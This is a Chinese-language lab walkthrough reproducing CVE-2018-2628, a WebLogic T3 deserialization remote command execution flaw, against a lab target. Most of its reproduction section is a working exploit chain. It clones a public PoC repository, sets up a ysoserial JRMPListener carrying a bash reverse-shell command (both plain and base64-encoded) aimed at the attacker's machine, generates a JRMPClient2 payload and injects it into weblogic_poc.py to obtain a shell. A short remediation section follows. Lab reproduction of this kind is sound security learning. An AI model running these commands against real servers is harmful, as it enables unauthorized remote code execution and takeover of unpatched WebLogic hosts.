目录
- 0x01 漏洞介绍
- 0x02 环境部署:
- 0x03 漏洞复现
- 1. 查看T3服务
- 2. 下载检测漏洞脚本,并进行解压
- 3. 设置所要检测的ip, 并运行脚本
- 4. 启动JRMP Server
- 5. 制作Payload
- 6. 导入Payload并修改目的IP
- 7. 进行监听端口1234
- 8. 执行脚本weblogic_poc.py
- 9. 反弹shell成功
- 0x04 漏洞修复
0x01 漏洞介绍
-
漏洞描述
Weblogic Server WLS Core Components反序列化命令执行漏洞(CVE-2018-2628),该漏洞通过T3协议触发,可导致未授权的用户在远程服务器执行任意命令 -
漏洞编号
CVE-2018-2628 -
受影响版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3
0x02 环境部署:
搭建一次,复现百次
靶机 ip:192.168.30.209
kali ip:192.168.30.182
0x03 漏洞复现
1. 查看T3服务
在kali上使用脚本weblogic-t3-info扫描目标主机是否开启T3服务
从扫描结果可以看出目标主机已开启T3服务
2. 下载检测漏洞脚本,并进行解压
git clone https://codechina.csdn.net/mirrors/Lighird/CVE-2018-2628.git
解压:
unrar x CVE-2018-2628.rar /root/CVE-2018-2628
3. 设置所要检测的ip, 并运行脚本
python CVE-2018-2628-MultiThreading.py
出现is vul CVE-2018-2628说明漏洞存在,接下来我们开始复现
4. 启动JRMP Server
目的是为了使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]
#[listen port]是需要JRMP Server监听的端口,这个端口的作用是为了让目的主机上weblogic进行远程调用kali方法时,可以连接到我们自己的主机
#[command]为要执行的命令
以下我们执行反弹shell命令,我们需要注意需要对执行的命令进行需要进行一次编码,因为 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法
编码网址
#java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -i >& /dev/tcp/192.168.30.182/1234 0>&1'
java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMwLjE4Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'
最后一行出现 * Opening JRMP listener on 8888,说明JRMP Server正在监听8888端口
5. 制作Payload
在kali上打开一个新终端,使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload,因为要实现weblogic远程调用kali方法,所以就需要知道kali主机的ip与端口
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.30.182:8888 | xxd -p | tr -d $'\n' && echo
6. 导入Payload并修改目的IP
将weblogic_poc.py中的使用的payload替换为我们刚刚生成的payload,并且将目标ip
vim weblogic_poc.py
7. 进行监听端口1234
8. 执行脚本weblogic_poc.py
9. 反弹shell成功
0x04 漏洞修复
- 官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
- 手工修复:控制T3协议的访问权限来临时阻断漏洞利用。